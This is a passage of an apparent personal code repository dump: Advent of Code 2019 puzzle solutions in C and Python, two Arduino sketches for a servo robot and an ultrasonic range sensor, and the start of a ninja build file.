1] = (cumsum[i] + src[i]); 16 | //for (int i = 0; i < n + 1; ++i) printf("%d ", cumsum[i]); printf("\n"); 17 | 18 | int start = 0, step = 1, sign = 1; 19 | for (int i = 0; i < n; ++i) { 20 | int s = 0; 21 | for (int k = start; k < n; k += 2*step) { 22 | s += (sign * (cumsum[min(k+step, n)] - cumsum[k])); 23 | sign = -sign; 24 | } 25 | start += 1; 26 | step += 1; 27 | sign = 1; 28 | dst[i] = abs(s) % 10; 29 | } 30 | } 31 | 32 | int main() { 33 | char buf[1000]; 34 | if (fgets(buf, sizeof(buf), stdin) == NULL) 35 | return 1; 36 | int n = strlen(buf) - 1; 37 | if (buf[n] != '\n') { 38 | fprintf(stderr, "line too long\n"); 39 | return 1; 40 | } 41 | buf[n] = '\0'; 42 | for (int i = 0; i < n; ++i) 43 | buf[i] = buf[i] - '0'; 44 | 45 | char buf2[n]; 46 | 47 | char* src = buf, *dst = buf2; 48 | for (int i = 0; i < 100; ++i) { 49 | step(dst, src, n); 50 | char* t = src; 51 | src = dst; 52 | dst = t; 53 | } 54 | 55 | for (int i = 0; i < 8; ++i) printf("%d", src[i]); printf("\n"); 56 | } 57 | -------------------------------------------------------------------------------- /aoc/2019/16_3.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import itertools 3 | import fileinput 4 | 5 | 6 | # Like 16_2.py, but another 10x faster on the example input repeated 10x. 7 | def step(state): 8 | # Set up so that sum(state[k:k+n]) == cumsum[k+n] - cumsum[k] 9 | # accumulate()'s initial= was added in 3.8, so have to manually prepend :/ 10 | cumsum = [0] + list(itertools.accumulate(state)) 11 | 12 | start, step, sign = 0, 1, 1 13 | new_state = [0] * len(state) 14 | for i in range(len(state)): 15 | s = 0 16 | for k in range(start, len(state), 2*step): 17 | s += sign * (cumsum[min(k+step, len(cumsum)-1)] - cumsum[k]) 18 | sign = -sign 19 | start += 1 20 | step += 1 21 | sign = 1 22 | new_state[i] = abs(s) % 10 23 | 24 | return new_state 25 | 26 | 27 | n = [int(n) for n in fileinput.input()[0].rstrip()] 28 | for i in range(100): 29 | n = step(n) 30 | print(''.join(str(i) for i in n[0:8])) 31 | -------------------------------------------------------------------------------- /aoc/2019/16b.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // Like 16b.py (which is like 16_3.py), but 50x as fast as 100x input. 7 | // No algorithm changes, just translated from Python to C. 8 | 9 | int min(int a, int b) { 10 | if (a < b) return a; 11 | return b; 12 | } 13 | 14 | void step(char* dst, char* src, int n) { 15 | int* cumsum = malloc((n + 1) * sizeof(int)); 16 | cumsum[0] = 0; 17 | for (int i = 0; i < n; ++i) 18 | cumsum[i + 1] = (cumsum[i] + src[i]); 19 | 20 | int start = 0, step = 1, sign = 1; 21 | for (int i = 0; i < n; ++i) { 22 | int s = 0; 23 | for (int k = start; k < n; k += 2*step) { 24 | s += (sign * (cumsum[min(k+step, n)] - cumsum[k])); 25 | sign = -sign; 26 | } 27 | start += 1; 28 | step += 1; 29 | sign = 1; 30 | dst[i] = abs(s) % 10; 31 | } 32 | 33 | free(cumsum); 34 | } 35 | 36 | int main() { 37 | char buf[1000]; 38 | if (fgets(buf, sizeof(buf), stdin) == NULL) 39 | return 1; 40 | int n = strlen(buf) - 1; 41 | if (buf[n] != '\n') { 42 | fprintf(stderr, "line too long\n"); 43 | return 1; 44 | } 45 | buf[n] = '\0'; 46 | for (int i = 0; i < n; ++i) 47 | buf[i] = buf[i] - '0'; 48 | 49 | const int N = 10000; 50 | char* buf1 = malloc(N * n); 51 | for (int i = 0; i < N; ++i) 52 | memcpy(buf1 + i*n, buf, n); 53 | 54 | char* buf2 = malloc(N * n); 55 | char* src = buf1, *dst = buf2; 56 | 57 | char offbuf[8]; 58 | for (int i = 0; i < 7; ++i) offbuf[i] = src[i] + '0'; 59 | offbuf[7] = '\0'; 60 | int offset = atoi(offbuf); 61 | 62 | for (int i = 0; i < 100; ++i) { 63 | step(dst, src, n*N); 64 | char* t = src; 65 | src = dst; 66 | dst = t; 67 | } 68 | 69 | for (int i = 0; i < 8; ++i) printf("%d", src[offset + i]); printf("\n"); 70 | } 71 | -------------------------------------------------------------------------------- /aoc/2019/16b.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import itertools 3 | import fileinput 4 | 5 | 6 | def step(state): 7 | # Set up so that sum(state[k:k+n]) == cumsum[k+n] - cumsum[k] 8 | # accumulate()'s initial= was added in 3.8, so have to manually prepend :/ 9 | cumsum = [0] + list(itertools.accumulate(state)) 10 | 11 | start, step, sign = 0, 1, 1 12 | new_state = [0] * len(state) 13 | for i in range(len(state)): 14 | s = 0 15 | for k in range(start, len(state), 2*step): 16 | s += sign * (cumsum[min(k+step, len(cumsum)-1)] - cumsum[k]) 17 | sign = -sign 18 | start += 1 19 | step += 1 20 | sign = 1 21 | new_state[i] = abs(s) % 10 22 | 23 | return new_state 24 | 25 | 26 | n = [int(n) for n in fileinput.input()[0].rstrip()] * 10000 27 | offset = int(n[0:7], 10) 28 | for i in range(100): 29 | n = step(n) 30 | print(''.join(str(i) for i in n[offset:offset+8])) 31 | -------------------------------------------------------------------------------- /aoc/2019/18.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import collections 3 | import itertools 4 | import fileinput 5 | import heapq 6 | 7 | # Kind of slow, takes 7s to run :/ 8 | 9 | 10 | grid = [s.rstrip() for s in fileinput.input()] 11 | 12 | lingrid = list(itertools.chain.from_iterable(grid)) 13 | w, h = len(grid[0]), len(grid) 14 | n = lingrid.index('@') 15 | x, y = n % w, n // w 16 | allkeys = set(c for c in lingrid if c.islower()) 17 | 18 | 19 | def reachable_keys(sx, sy, keys): 20 | q = collections.deque([(sx, sy, 0)]) 21 | #print(q) 22 | seen = set() 23 | d = ( (-1, 0), (1, 0), (0, -1), (0, 1) ) 24 | while q: 25 | cx, cy, l = q.popleft() 26 | if grid[cy][cx].islower() and grid[cy][cx] not in keys: 27 | yield l, cx, cy, grid[cy][cx] 28 | continue 29 | for dx, dy in d: 30 | nx, ny = cx + dx, cy + dy 31 | if ((nx, ny)) in seen: 32 | continue 33 | seen.add((nx, ny)) 34 | 35 | c = grid[ny][nx] 36 | if c != '#' and (not c.isupper() or c.lower() in keys): 37 | q.append((nx, ny, l + 1)) 38 | 39 | 40 | # Shortest path from node "no keys" to node "all keys". 41 | q = [(0, x, y, frozenset())] 42 | seen = set() 43 | while q: 44 | #print(q) 45 | d, cx, cy, keys = heapq.heappop(q) 46 | if keys == allkeys: 47 | print(d) 48 | break 49 | 50 | if (cx, cy, keys) in seen: 51 | continue 52 | seen.add((cx, cy, keys)) 53 | 54 | for l, nx, ny, key in reachable_keys(cx, cy, keys): 55 | heapq.heappush(q, (d + l, nx, ny, keys | frozenset([key]))) 56 | -------------------------------------------------------------------------------- /aoc/2019/18b.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function, division 2 | import collections 3 | import itertools 4 | import fileinput 5 | import heapq 6 | 7 | # Kind of slow, takes 7s to run :/ 8 | 9 | 10 | grid = [s.rstrip() for s in fileinput.input()] 11 | 12 | lingrid = list(itertools.chain.from_iterable(grid)) 13 | w, h = len(grid[0]), len(grid) 14 | n = lingrid.index('@') 15 | x, y = n % w, n // w 16 | allkeys = set(c for c in lingrid if c.islower()) 17 | 18 | grid[y-1] = grid[y-1][:x] + '#' + grid[y-1][x+1:] 19 | grid[ y] = grid[y ][:x-1] + '###' + grid[y ][x+2:] 20 | grid[y+1] = grid[y+1][:x] + '#' + grid[y+1][x+1:] 21 | #print('\n'.join(grid)) 22 | 23 | pos = ( 24 | (x-1, y-1), 25 | (x+1, y-1), 26 | (x-1, y+1), 27 | (x+1, y+1), 28 | ) 29 | 30 | 31 | def reachable_keys(sx, sy, keys): 32 | q = collections.deque([(sx, sy, 0)]) 33 | #print(q) 34 | seen = set() 35 | d = ( (-1, 0), (1, 0), (0, -1), (0, 1) ) 36 | while q: 37 | cx, cy, l = q.popleft() 38 | if grid[cy][cx].islower() and grid[cy][cx] not in keys: 39 | yield l, cx, cy, grid[cy][cx] 40 | continue 41 | for dx, dy in d: 42 | nx, ny = cx + dx, cy + dy 43 | if ((nx, ny)) in seen: 44 | continue 45 | seen.add((nx, ny)) 46 | 47 | c = grid[ny][nx] 48 | if c != '#' and (not c.isupper() or c.lower() in keys): 49 | q.append((nx, ny, l + 1)) 50 | 51 | 52 | # Shortest path from node "no keys" to node "all keys". 53 | q = [(0, pos, frozenset())] 54 | seen = set() 55 | while q: 56 | #print(q) 57 | #print(q[0]) 58 | d, cpos, keys = heapq.heappop(q) 59 | #print(sorted(keys)) 60 | if keys == allkeys: 61 | print(d) 62 | break 63 | 64 | if (cpos, keys) in seen: 65 | continue 66 | seen.add((cpos, keys)) 67 | 68 | for i, (cx, cy) in enumerate(cpos): 69 | for l, nx, ny, key in reachable_keys(cx, cy, keys): 70 | npos = cpos[0:i] + ((nx, ny),) + cpos[i+1:] 71 | heapq.heappush(q, (d + l, npos, keys | frozenset([key]))) 72 | -------------------------------------------------------------------------------- /aoc/2019/1b.py: -------------------------------------------------------------------------------- 1 | from __future__ import division, print_function 2 | import fileinput 3 | def fuel(n): 4 | total = 0 5 | while n != 0: 6 | n = max(n // 3 - 2, 0) 7 | total += n 8 | return total 9 | print(sum(fuel(int(l.rstrip())) for l in fileinput.input())) 10 | -------------------------------------------------------------------------------- /aoc/2019/1b_2.py: -------------------------------------------------------------------------------- 1 | from __future__ import division, print_function 2 | import fileinput 3 | def fuel(n): 4 | while n != 0: 5 | n = max(n // 3 - 2, 0) 6 | yield n 7 | print(sum(sum(fuel(int(l.rstrip()))) for l in fileinput.input())) 8 | 9 | # Haskell: 10 | # fuel n = sum (takeWhile (>0) (tail (iterate (\x -> div x 3 - 2) n)) 11 | -------------------------------------------------------------------------------- /aoc/2019/2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) { 6 | char in[4096]; 7 | if (fgets(in, sizeof(in), stdin) == NULL) 8 | return 1; 9 | int dat[4096], i = 0; 10 | 11 | char* str = in, *token; 12 | while ((token = strsep(&str, ",")) != NULL) { 13 | if (i >= sizeof(dat)/sizeof(dat[0])) 14 | return 2; 15 | dat[i++] = atoi(token); 16 | } 17 | 18 | dat[1] = 12; 19 | dat[2] = 2; 20 | 21 | void *opcode[] = { [1] = &&add, [2] = &&mul, [99] = &&done }; 22 | int *ip = dat; 23 | goto *opcode[*ip]; 24 | 25 | add: 26 | dat[ip[3]] = dat[ip[1]] + dat[ip[2]]; 27 | ip += 4; 28 | goto *opcode[*ip]; 29 | 30 | mul: 31 | dat[ip[3]] = dat[ip[1]] * dat[ip[2]]; 32 | ip += 4; 33 | goto *opcode[*ip]; 34 | 35 | done: 36 | printf("%d\n", dat[0]); 37 | } 38 | -------------------------------------------------------------------------------- /aoc/2019/20.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import collections 3 | import fileinput 4 | 5 | grid = [s.rstrip('\n') for s in fileinput.input()] 6 | w, h = len(grid[0]), len(grid) 7 | print('\n'.join(grid)) 8 | 9 | # Find portals. 10 | portals = collections.defaultdict(list) 11 | 12 | for y in range(0, h-1): 13 | for x in range(0, w-1): 14 | if not grid[y][x].isupper(): 15 | continue 16 | if grid[y+1][x].isupper(): 17 | c = grid[y][x] + grid[y+1][x] 18 | if y > 0 and grid[y-1][x] == '.': portals[c].append((x, y-1)) 19 | elif y < h-2 and grid[y+2][x] == '.': portals[c].append((x, y+2)) 20 | if grid[y][x+1].isupper(): 21 | c = grid[y][x] + grid[y][x+1] 22 | if x > 0 and grid[y][x-1] == '.': portals[c].append((x-1, y)) 23 | elif x < w-2 and grid[y][x+2] == '.': portals[c].append((x+2, y)) 24 | 25 | portals = dict(portals) 26 | 27 | src = portals['AA'][0] 28 | dst = portals['ZZ'][0] 29 | 30 | # Find path. 31 | q = collections.deque([(src, 0)]) 32 | seen = set() 33 | d = ( (-1, 0), (1, 0), (0, -1), (0, 1) ) 34 | while q: 35 | #print(q) 36 | pos, l = q.popleft() 37 | if pos == dst: 38 | break 39 | 40 | for dx, dy in d: 41 | nx, ny = (pos[0] + dx, pos[1] + dy) 42 | if grid[ny][nx].isupper(): 43 | c = (grid[min(ny, ny + dy)][min(nx, nx+dx)] + 44 | grid[max(ny, ny + dy)][max(nx, nx + dx)]) 45 | if c not in ('AA', 'ZZ'): 46 | if pos == portals[c][0]: 47 | nx, ny = portals[c][1] 48 | else: 49 | nx, ny = portals[c][0] 50 | 51 | if ((nx, ny)) in seen: 52 | continue 53 | seen.add((nx, ny)) 54 | 55 | c = grid[ny][nx] 56 | if c == '.': 57 | q.append(((nx, ny), l + 1)) 58 | 59 | print(portals) 60 | print(l) 61 | -------------------------------------------------------------------------------- /aoc/2019/22.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | deck = range(10007) 5 | 6 | def deal_new(d): return list(reversed(d)) 7 | def deal_inc(d, n): 8 | nd = [-1] * len(d) 9 | for i in range(len(d)): 10 | nd[(i*n) % len(d)] = d[i] 11 | return nd 12 | def cut(d, i): return d[i:] + d[:i] 13 | 14 | for l in fileinput.input(): 15 | if l == 'deal into new stack\n': 16 | deck = deal_new(deck) 17 | elif l.startswith('deal with increment '): 18 | deck = deal_inc(deck, int(l[len('deal with increment '):])) 19 | elif l.startswith('cut '): 20 | deck = cut(deck, int(l[len('cut '):])) 21 | 22 | print(deck.index(2019)) 23 | -------------------------------------------------------------------------------- /aoc/2019/22_2.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | n = 10007 5 | c = 2019 6 | 7 | def deal_new(c, n): return n - 1 - c 8 | def deal_inc(c, n, i): return (c * i) % n 9 | 10 | def cut(c, n, i): 11 | if i < 0: 12 | i = n + i 13 | if c < i: 14 | return c + n - i 15 | return c - i 16 | 17 | for l in fileinput.input(): 18 | if l == 'deal into new stack\n': 19 | c = deal_new(c, n) 20 | elif l.startswith('deal with increment '): 21 | c = deal_inc(c, n, int(l[len('deal with increment '):])) 22 | elif l.startswith('cut '): 23 | c = cut(c, n, int(l[len('cut '):])) 24 | 25 | print(c) 26 | -------------------------------------------------------------------------------- /aoc/2019/22_3.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | n = 10007 5 | c = 2019 6 | 7 | def deal_new(c, n): return (-c - 1) % n 8 | def deal_inc(c, n, i): return ( c * i) % n 9 | def cut(c, n, i): return ( c - i) % n 10 | 11 | for l in fileinput.input(): 12 | if l == 'deal into new stack\n': 13 | c = deal_new(c, n) 14 | elif l.startswith('deal with increment '): 15 | c = deal_inc(c, n, int(l[len('deal with increment '):])) 16 | elif l.startswith('cut '): 17 | c = cut(c, n, int(l[len('cut '):])) 18 | 19 | print(c) 20 | -------------------------------------------------------------------------------- /aoc/2019/22_4.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | n = 10007 5 | c = 2019 6 | 7 | def lin(a, b, x, n): return (a*x + b) % n 8 | 9 | def deal_new(c, n): return lin(-1, -1, c, n) 10 | def deal_inc(c, n, i): return lin(i, 0, c, n) 11 | def cut(c, n, i): return lin(1, -i, c, n) 12 | 13 | for l in fileinput.input(): 14 | if l == 'deal into new stack\n': 15 | c = deal_new(c, n) 16 | elif l.startswith('deal with increment '): 17 | c = deal_inc(c, n, int(l[len('deal with increment '):])) 18 | elif l.startswith('cut '): 19 | c = cut(c, n, int(l[len('cut '):])) 20 | 21 | print(c) 22 | -------------------------------------------------------------------------------- /aoc/2019/22_5.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | n = 10007 5 | c = 2019 6 | 7 | def lin(a, b, x, n): return (a*x + b) % n 8 | 9 | def deal_new(c, n): return lin(-1, -1, c, n) 10 | def deal_inc(c, n, i): return lin(i, 0, c, n) 11 | def cut(c, n, i): return lin(1, -i, c, n) 12 | 13 | 14 | a, b = 1, 0 15 | 16 | for l in fileinput.input(): 17 | if l == 'deal into new stack\n': 18 | la, lb = -1, -1 19 | elif l.startswith('deal with increment '): 20 | la, lb = int(l[len('deal with increment '):]), 0 21 | elif l.startswith('cut '): 22 | la, lb = 1, -int(l[len('cut '):]) 23 | # la * (a * x + b) + lb == la * a * x + la*b + lb 24 | # The `% n` doesn't change the result, but keeps the numbers small. 25 | a = (la * a) % n 26 | b = (la * b + lb) % n 27 | 28 | print(a, b) 29 | for i in range(30): 30 | print(i, (a ** i) % n) 31 | print((a * c + b) % n) 32 | -------------------------------------------------------------------------------- /aoc/2019/24.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | 5 | def count(g, x, y): 6 | c = 0 7 | if x > 0 and g[y][x - 1] == '#': c += 1 8 | if x < 4 and g[y][x + 1] == '#': c += 1 9 | if y > 0 and g[y - 1][x] == '#': c += 1 10 | if y < 4 and g[y + 1][x] == '#': c += 1 11 | return c 12 | 13 | 14 | def step(g): 15 | newgrid = [['.'] * 5 for _ in range(5)] 16 | for y in range(5): 17 | for x in range(5): 18 | if g[y][x] == '#': 19 | newgrid[y][x] = '#' if count(g, x, y) == 1 else '.' 20 | else: 21 | newgrid[y][x] = '#' if count(g, x, y) in (1, 2) else '.' 22 | return newgrid 23 | 24 | 25 | def rating(g): 26 | gridstr = ''.join(''.join(l) for l in g)[::-1] 27 | return int(gridstr.replace('#', '1').replace('.', '0'), 2) 28 | 29 | 30 | grid = [list(l.rstrip()) for l in fileinput.input()] 31 | seen = set() 32 | while True: 33 | r = rating(grid) 34 | if r in seen: 35 | print(r) 36 | break 37 | seen.add(r) 38 | grid = step(grid) 39 | -------------------------------------------------------------------------------- /aoc/2019/2b.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) { 6 | char in[4096]; 7 | if (fgets(in, sizeof(in), stdin) == NULL) 8 | return 1; 9 | int dat[1024], i = 0; 10 | 11 | char* str = in, *token; 12 | while ((token = strsep(&str, ",")) != NULL) { 13 | if (i >= sizeof(dat)/sizeof(dat[0])) 14 | return 2; 15 | dat[i++] = atoi(token); 16 | } 17 | 18 | void *opcode[] = { [1] = &&add, [2] = &&mul, [99] = &&done }; 19 | 20 | for (int noun = 0; noun < 100; ++noun) { 21 | for (int verb = 0; verb < 100; ++verb) { 22 | int scratch[sizeof(dat)/sizeof(dat[0])]; 23 | memcpy(scratch, dat, sizeof(dat)); 24 | scratch[1] = noun; 25 | scratch[2] = verb; 26 | 27 | int *ip = scratch; 28 | goto *opcode[*ip]; 29 | 30 | add: 31 | scratch[ip[3]] = scratch[ip[1]] + scratch[ip[2]]; 32 | ip += 4; 33 | goto *opcode[*ip]; 34 | 35 | mul: 36 | scratch[ip[3]] = scratch[ip[1]] * scratch[ip[2]]; 37 | ip += 4; 38 | goto *opcode[*ip]; 39 | 40 | done: 41 | if (scratch[0] == 19690720) 42 | printf("%d\n", 100 * noun + verb); 43 | } 44 | } 45 | 46 | } 47 | -------------------------------------------------------------------------------- /aoc/2019/3.py: -------------------------------------------------------------------------------- 1 | from __future__ import division, print_function 2 | import fileinput 3 | 4 | def parse_line(l): 5 | dls = [(p[0], int(p[1:])) for p in l.split(',')] 6 | 7 | dirs = { 'R': (1, 0), 'L': (-1, 0), 'D': (0, -1), 'U': (0, 1) } 8 | x, y = 0, 0 9 | points = set() # Don't include 0, 0. 10 | for d, l in dls: 11 | d = dirs[d] 12 | for i in range(l): 13 | x += d[0] 14 | y += d[1] 15 | points.add((x, y)) 16 | 17 | return points 18 | 19 | line1, line2 = list(fileinput.input()) 20 | 21 | common = parse_line(line1.rstrip()) & parse_line(line2.rstrip()) 22 | print(min(abs(x[0]) + abs(x[1]) for x in common)) 23 | -------------------------------------------------------------------------------- /aoc/2019/3b.py: -------------------------------------------------------------------------------- 1 | from __future__ import division, print_function 2 | import fileinput 3 | 4 | def parse_line(l): 5 | dls = [(p[0], int(p[1:])) for p in l.split(',')] 6 | 7 | dirs = { 'R': (1, 0), 'L': (-1, 0), 'D': (0, -1), 'U': (0, 1) } 8 | p, n = [0, 0], 0 9 | points = set() # Don't include 0, 0. 10 | dists = {} 11 | for d, l in dls: 12 | d = dirs[d] 13 | for i in range(l): 14 | p[0] += d[0] 15 | p[1] += d[1] 16 | n += 1 17 | points.add(tuple(p)) 18 | dists.setdefault(tuple(p), n) 19 | 20 | return points, dists 21 | 22 | line1, line2 = list(fileinput.input()) 23 | 24 | l1p, l1d = parse_line(line1.rstrip()) 25 | l2p, l2d = parse_line(line2.rstrip()) 26 | common = l1p & l2p 27 | print(min(l1d[x] + l2d[x] for x in common)) 28 | -------------------------------------------------------------------------------- /aoc/2019/4.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | int n = 0; 5 | for (int i = 130254; i <= 678275; ++i) { 6 | int p1 = (i / 100000) % 10; 7 | int p2 = (i / 10000) % 10; 8 | int p3 = (i / 1000) % 10; 9 | int p4 = (i / 100) % 10; 10 | int p5 = (i / 10) % 10; 11 | int p6 = i % 10; 12 | if (p1 <= p2 && p2 <= p3 && p3 <= p4 && p4 <= p5 && p5 <= p6) { 13 | if (p1 == p2 || p2 == p3 || p3 == p4 || p4 == p5 || p5 == p6) 14 | ++n; 15 | } 16 | } 17 | 18 | printf("%d\n", n); 19 | } 20 | -------------------------------------------------------------------------------- /aoc/2019/4b.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | int n = 0; 5 | for (int i = 130254; i <= 678275; ++i) { 6 | int p1 = (i / 100000) % 10; 7 | int p2 = (i / 10000) % 10; 8 | int p3 = (i / 1000) % 10; 9 | int p4 = (i / 100) % 10; 10 | int p5 = (i / 10) % 10; 11 | int p6 = i % 10; 12 | if (p1 <= p2 && p2 <= p3 && p3 <= p4 && p4 <= p5 && p5 <= p6) { 13 | if ((p1 == p2 && p2 != p3) || 14 | (p2 == p3 && p1 != p2 && p3 != p4) || 15 | (p3 == p4 && p2 != p3 && p4 != p5) || 16 | (p4 == p5 && p3 != p4 && p5 != p6) || 17 | (p5 == p6 && p4 != p6)) 18 | ++n; 19 | } 20 | } 21 | 22 | printf("%d\n", n); 23 | } 24 | -------------------------------------------------------------------------------- /aoc/2019/5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) { 6 | char in[4096]; 7 | if (fgets(in, sizeof(in), stdin) == NULL) 8 | return 1; 9 | int dat[1024], i = 0; 10 | 11 | char* str = in, *token; 12 | while ((token = strsep(&str, ",")) != NULL) { 13 | if (i >= sizeof(dat)/sizeof(dat[0])) 14 | return 2; 15 | dat[i++] = atoi(token); 16 | } 17 | 18 | void* opcode[] = { 19 | [ 1] = &&add_mm, 20 | [ 101] = &&add_im, 21 | [1001] = &&add_mi, 22 | [1101] = &&add_ii, 23 | 24 | [ 2] = &&mul_mm, 25 | [ 102] = &&mul_im, 26 | [1002] = &&mul_mi, 27 | [1102] = &&mul_ii, 28 | 29 | [ 3] = &&read, 30 | 31 | [ 4] = &&write_m, 32 | [ 104] = &&write_i, 33 | 34 | [ 99] = &&done, 35 | }; 36 | int *ip = dat; 37 | goto *opcode[*ip]; 38 | 39 | add_mm: 40 | dat[ip[3]] = dat[ip[1]] + dat[ip[2]]; 41 | ip += 4; 42 | goto *opcode[*ip]; 43 | add_mi: 44 | dat[ip[3]] = dat[ip[1]] + ip[2]; 45 | ip += 4; 46 | goto *opcode[*ip]; 47 | add_im: 48 | dat[ip[3]] = ip[1] + dat[ip[2]]; 49 | ip += 4; 50 | goto *opcode[*ip]; 51 | add_ii: 52 | dat[ip[3]] = ip[1] + ip[2]; 53 | ip += 4; 54 | goto *opcode[*ip]; 55 | 56 | mul_mm: 57 | dat[ip[3]] = dat[ip[1]] * dat[ip[2]]; 58 | ip += 4; 59 | goto *opcode[*ip]; 60 | mul_mi: 61 | dat[ip[3]] = dat[ip[1]] * ip[2]; 62 | ip += 4; 63 | goto *opcode[*ip]; 64 | mul_im: 65 | dat[ip[3]] = ip[1] * dat[ip[2]]; 66 | ip += 4; 67 | goto *opcode[*ip]; 68 | mul_ii: 69 | dat[ip[3]] = ip[1] * ip[2]; 70 | ip += 4; 71 | goto *opcode[*ip]; 72 | 73 | read: 74 | dat[ip[1]] = 1; 75 | ip += 2; 76 | goto *opcode[*ip]; 77 | 78 | write_m: 79 | printf("%d (%d)\n", dat[ip[1]], ip[1]); 80 | ip += 2; 81 | goto *opcode[*ip]; 82 | write_i: 83 | printf("%d\n", ip[1]); 84 | ip += 2; 85 | goto *opcode[*ip]; 86 | 87 | done: 88 | return 0; 89 | } 90 | -------------------------------------------------------------------------------- /aoc/2019/6.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | dag = {} 5 | for l in fileinput.input(): 6 | p, o = l.rstrip().split(')') 7 | dag.setdefault(p, []).append(o) 8 | 9 | def count(p, d): 10 | return d + sum(count(o, d + 1) for o in dag.get(p, [])) 11 | 12 | print(count('COM', 0)) 13 | -------------------------------------------------------------------------------- /aoc/2019/6b.py: -------------------------------------------------------------------------------- 1 | import fileinput 2 | 3 | g = {} 4 | for l in fileinput.input(): 5 | p, o = l.rstrip().split(')') 6 | g.setdefault(p, []).append(o) 7 | g.setdefault(o, []).append(p) 8 | 9 | def walk(src, cur, dst, n): 10 | if cur == dst: return n 11 | return min((walk(cur, o, dst, n + 1) for o in g[cur] if o != src), 12 | default=len(g)) 13 | 14 | print(walk(None, 'YOU', 'SAN', 0) - 2) 15 | -------------------------------------------------------------------------------- /aoc/2019/8.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | w, h = 25, 6 5 | line = list(fileinput.input())[0].rstrip() 6 | layers = [line[i:i+w*h] for i in range(0, len(line), w*h)] 7 | l = min(layers, key=lambda x: x.count('0')) 8 | print(l.count('1') * l.count('2')) 9 | -------------------------------------------------------------------------------- /aoc/2019/8b.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | w, h = 25, 6 5 | line = list(fileinput.input())[0].rstrip() 6 | pic = ['2'] * (w*h) 7 | for d, s in zip(range(0, w*h) * (len(line)/w/h), range(0, len(line))): 8 | if pic[d] == '2': 9 | pic[d] = line[s] 10 | for y in range(0, w*h, w): 11 | print(''.join(pic[y:y + w]).replace('0', ' ')) 12 | -------------------------------------------------------------------------------- /arduino/mindbot/mindbot.ino: -------------------------------------------------------------------------------- 1 | const int kLeftServo = 3; 2 | const int kRightServo = 2; 3 | const int kSensorPin = 4; 4 | const int kLedPin = 13; 5 | 6 | const int kSpeed = 25; 7 | 8 | // Servo rotating backwards are a bit slower for some reason. 9 | const float kBackwardServoSlop = 0.6; 10 | 11 | // To calibrate, send 1500us high pulses to servo, then adjust pot 12 | // until servo doesn't rotate. 13 | 14 | void setup() { 15 | pinMode(kLeftServo, OUTPUT); 16 | pinMode(kRightServo, OUTPUT); 17 | pinMode(kLedPin, OUTPUT); 18 | pinMode(kSensorPin, INPUT); 19 | 20 | randomSeed(analogRead(0)); 21 | } 22 | 23 | void loop() { 24 | digitalWrite(kLedPin, obstacleDetected() ? HIGH : LOW); 25 | delay(10); // ms 26 | if (obstacleDetected()) { 27 | evade(); 28 | } else { 29 | forward(); 30 | } 31 | //delay(500); 32 | //backward(); 33 | } 34 | 35 | bool obstacleDetected() { 36 | return digitalRead(kSensorPin) == LOW; 37 | } 38 | 39 | void evade() { 40 | for (int i = 0; i < 12; ++i) 41 | backward(); 42 | for (int i = 0, e = 19 * random(1, 4); i < e; ++i) 43 | turn(); 44 | } 45 | 46 | void turn() { 47 | // 18 turns are about 90 deg 48 | for (int i = 0; i < 10; ++i) { 49 | pulseServo(kLeftServo, 1500 + kSpeed); // us 50 | pulseServo(kRightServo, 1500 + kSpeed); // us 51 | } 52 | } 53 | 54 | void forward() { 55 | for (int i = 0; i < 10; ++i) { 56 | pulseServo(kLeftServo, 1500 - kSpeed / kBackwardServoSlop); // us 57 | pulseServo(kRightServo, 1500 + kSpeed); // us 58 | } 59 | } 60 | 61 | void backward() { 62 | for (int i = 0; i < 10; ++i) { 63 | pulseServo(kLeftServo, 1500 + kSpeed); // us 64 | pulseServo(kRightServo, 1500 - kSpeed / kBackwardServoSlop); // us 65 | } 66 | } 67 | 68 | void pulseServo(int pin, int us) { 69 | digitalWrite(pin, HIGH); 70 | 71 | delayMicroseconds(us); 72 | digitalWrite(pin, LOW); 73 | delay(5); // ms 74 | } 75 | -------------------------------------------------------------------------------- /arduino/range_hc_sr04/range_hc_sr04.ino: -------------------------------------------------------------------------------- 1 | const int kTrigger = 12; 2 | const int kEcho = 13; 3 | 4 | void setup() { 5 | Serial.begin(9600); 6 | pinMode(kTrigger, OUTPUT); 7 | pinMode(kEcho, INPUT); 8 | } 9 | 10 | void loop() { 11 | http://www.micropik.com/PDF/HCSR04.pdf 12 | // "...10us pulse to the trigger input to start the ranging..." 13 | digitalWrite(kTrigger, HIGH); 14 | delayMicroseconds(10); 15 | digitalWrite(kTrigger, LOW); 16 | 17 | long echo_us = pulseIn(kEcho, HIGH); 18 | float dist_cm = echo_us / 58.0; // 340 km/h * echo_us * 100cm 19 | Serial.println(dist_cm); 20 | 21 | delay(100); // "...we suggest over 60ms..." 22 | } 23 | -------------------------------------------------------------------------------- /asm/build.ninja: -------------------------------------------------------------------------------- 1 | rule as 2 | command = cc -c -o $out $in 3 | 4 | # When not passing macosx_version_min, ld warns that it defaults to 10.10. 5 | # When explicitly passing macosx_version_min 10.10, the warning goes away, 6 | # but ld wants a "main" instead of a "start" symbol and also demands 